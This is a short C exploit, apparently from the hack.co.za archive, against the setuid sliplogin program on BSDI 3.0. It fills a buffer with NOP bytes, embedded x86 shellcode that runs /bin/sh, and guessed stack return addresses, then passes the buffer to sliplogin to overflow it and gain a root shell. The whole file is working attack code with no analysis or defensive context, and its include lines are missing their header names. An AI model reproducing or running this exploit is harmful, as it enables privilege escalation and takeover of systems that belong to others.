/* BSDI 3.0 sliplogin and possibly others. */ /* Not my code. */ #include #include unsigned long get_esp(void) { __asm__("movl %esp, %eax"); } void main(int argc, char **argv) { unsigned char shell[] =   "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"   "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"   "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff_bin_sh"; char *buf,*p; unsigned long *adr; int i; if((p = buf = malloc(2028+28))==NULL)   exit(-1); memset(p, 0x90, 2028); p += 2028 - strlen(shell); for(i = 0; i < strlen(shell); i++)   *p++ = shell[i]; adr = (long *)p; for(i = 0; i < 7; i++)   *adr++ = get_esp(); p = (char *)adr; *p = 0; execl("/usr/sbin/sliplogin", buf, NULL); } /* www.hack.co.za [2000]*/